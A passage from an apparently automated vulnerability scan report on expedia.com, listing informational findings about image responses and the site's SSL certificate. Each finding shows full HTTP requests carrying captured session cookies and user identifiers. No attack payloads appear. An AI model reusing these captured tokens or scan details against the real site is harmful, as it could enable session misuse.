Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s1=`0; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3DundefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Accept-Ranges: bytes
ETag: W/"922-1303251668860"
Last-Modified: Tue, 19 Apr 2011 22:21:08 GMT
Content-Length: 922
Date: Fri, 06 May 2011 22:42:18 GMT
Connection: close

GIF89a.... ..!.......,..............3..f..........+..+3.+f.+..+..+..U..U3.Uf.U..U..U......3..f..............3..f..............3..f..............3..f.........3..3.33.f3..3..3..3+.3+33+f3+.3+.3+.3U.3U33
...[SNIP]...

19.2. http://www.expedia.com/static/frog/v0.1a/images/iconSpritesT.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/static/frog/v0.1a/images/iconSpritesT.png

Request

GET /static/frog/v0.1a/images/iconSpritesT.png HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/daily/hotels/unpublishedrates/default.asp?mcicid=101278404
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11; ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Accept-Ranges: bytes
ETag: W/"5144-1303251708863"
Last-Modified: Tue, 19 Apr 2011 22:21:48 GMT
Content-Length: 5144
Date: Fri, 06 May 2011 22:34:24 GMT
Connection: close

.PNG
.
...IHDR...,...D........p....gAMA....7.......tEXtSoftware.Adobe ImageReadyq.e<....PLTEx..........ce..W..4y....P.]..4..M........<................................u..T..L.....m.......O...C{.l..~
...[SNIP]...

19.3. http://www.expedia.com/static/fusion/v2.3/images/buttonBG.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/static/fusion/v2.3/images/buttonBG.png

Request

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Accept-Ranges: bytes
ETag: W/"1636-1303251687426"
Last-Modified: Tue, 19 Apr 2011 22:21:27 GMT
Content-Length: 1636
Date: Fri, 06 May 2011 22:42:18 GMT
Connection: close

.PNG
.
...IHDR...,...S.............tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

19.4. http://www.expedia.com/static/fusion/v2.3/images/container/module-borders-sprite-alpha.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/static/fusion/v2.3/images/container/module-borders-sprite-alpha.png

Request

GET /static/fusion/v2.3/images/container/module-borders-sprite-alpha.png HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/Hotels
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253D50053%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/Hotels%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s1=`0; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Accept-Ranges: bytes
ETag: W/"3834-1303251655888"
Last-Modified: Tue, 19 Apr 2011 22:20:55 GMT
Content-Length: 3834
Date: Fri, 06 May 2011 22:42:17 GMT
Connection: close

.PNG
.
...IHDR..............q.~....gAMA......a.....PLTE...333.5]......................................................................................................................................
...[SNIP]...

19.5. http://www.expedia.com/static/fusion/v2.3/images/customersupport/flyout_arrow.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/static/fusion/v2.3/images/customersupport/flyout_arrow.png

Request

GET /static/fusion/v2.3/images/customersupport/flyout_arrow.png HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/Hotels
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s1=`0; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3DundefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Accept-Ranges: bytes
ETag: W/"717-1303251687426"
Last-Modified: Tue, 19 Apr 2011 22:21:27 GMT
Content-Length: 717
Date: Fri, 06 May 2011 22:42:18 GMT
Connection: close

.PNG
.
...IHDR....... .............sRGB.........IDATH...KHTQ..?._..h..D.c..ipR.gQ.Zj..)H.A.Q..U......
..AP....E.MD"..LBhq.E.R.E.E.hR..:'.i.../........{....1.!.A.&..u.1y"..T.8.F..x.
..60...M..Y..W...
...[SNIP]...

19.6. http://www.expedia.com/static/fusion/v2.3/images/customersupport/lady78x78.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/static/fusion/v2.3/images/customersupport/lady78x78.gif

Request

GET /static/fusion/v2.3/images/customersupport/lady78x78.gif HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/Hotels
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s1=`0; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3DundefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Accept-Ranges: bytes
ETag: W/"5090-1303251680296"
Last-Modified: Tue, 19 Apr 2011 22:21:20 GMT
Content-Length: 5090
Date: Fri, 06 May 2011 22:42:19 GMT
Connection: close

GIF89aN.N....... ..........

...
............ .. .......................... ................................... .....%.. .....$.....!.. ..&.."..0. #.....*.....&.."..&..0..( .?.., .%".+#.3".;!.1$.9
...[SNIP]...

19.7. http://www.expedia.com/static/fusion/v2.3/images/iconsSprites.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/static/fusion/v2.3/images/iconsSprites.png

Request

GET /static/fusion/v2.3/images/iconsSprites.png HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/Hotels
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253D50053%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/Hotels%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s1=`0; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Accept-Ranges: bytes
ETag: W/"4102-1303251652746"
Last-Modified: Tue, 19 Apr 2011 22:20:52 GMT
Content-Length: 4102
Date: Fri, 06 May 2011 22:42:16 GMT
Connection: close

.PNG
.
...IHDR...i..........pi.....IDATx.....T...'._P..Z.C.*.^......4.J)jl.b.i.c.iM_5.%.......YyYPP.*."..R..BT.T $...Fvvfgwg..{g...g..}?..s...{.9;......|.33.B.Z.dAP+....d..[)..X.X.U..C.>...A.Z..4..
...[SNIP]...

19.8. http://www.expedia.com/static/fusion/v2.3/images/wizard/promo_bg.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/static/fusion/v2.3/images/wizard/promo_bg.png

Request

GET /static/fusion/v2.3/images/wizard/promo_bg.png HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/Hotels
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253D50053%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/Hotels%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s1=`0; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Accept-Ranges: bytes
ETag: W/"1548-1303251626433"
Last-Modified: Tue, 19 Apr 2011 22:20:26 GMT
Content-Length: 1548
Date: Fri, 06 May 2011 22:42:18 GMT
Connection: close

.PNG
.
...IHDR.......\.....~.&.....sRGB.........PLTE.Mw.Nx.Nx.Oy.PzPzQ{R|.R|.S}.T~.S|.U.V..W..V~.X..X..Y..Z..Z..[..]..\..]..]..^.._.._. ]..a..`..a..a..a..b..b..c..d..e..e..i..i.!i..m..m.!m..q.!q
...[SNIP]...

19.9. http://www.expedia.com/static/fusion/v2.3/images/wizard/wizard_out_bg.gif previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/static/fusion/v2.3/images/wizard/wizard_out_bg.gif

Request

GET /static/fusion/v2.3/images/wizard/wizard_out_bg.gif HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/Hotels
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253D50053%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/Hotels%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s1=`0; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Accept-Ranges: bytes
ETag: W/"779-1303251658821"
Last-Modified: Tue, 19 Apr 2011 22:20:58 GMT
Content-Length: 779
Date: Fri, 06 May 2011 22:42:18 GMT
Connection: close

GIF89a........6^.}..9`.{..~..x..8_.>d.:a.w..o..~..Ch.;b.=c.?e Oq.v..s..e..5].a.7^.t..n..7_.i..y..j.
Tu.b..<b.q.\{.Xx.Uv.Yy.Bg.Fj.Ww Pr.Ei.Gk.Af.Lo.f..Kn.z.]|.k..r..u.[z.l..`~.m..h..z....Il.y..Np.
...[SNIP]...

20. SSL certificate previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	www.expedia.com,ST=WASHINGTON
Issued by:	Akamai Subordinate CA 3
Valid from:	Sun Apr 10 17:54:27 CDT 2011
Valid to:	Tue Apr 10 17:54:27 CDT 2012

Certificate chain #1

Issued to:	Akamai Subordinate CA 3
Issued by:	GTE CyberTrust Global Root
Valid from:	Thu May 11 10:32:00 CDT 2006
Valid to:	Sat May 11 18:59:00 CDT 2013

Certificate chain #2

Issued to:	GTE CyberTrust Global Root
Issued by:	GTE CyberTrust Global Root
Valid from:	Wed Aug 12 19:29:00 CDT 1998
Valid to:	Mon Aug 13 18:59:00 CDT 2018

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Mon May 09 07:51:42 CDT 2011.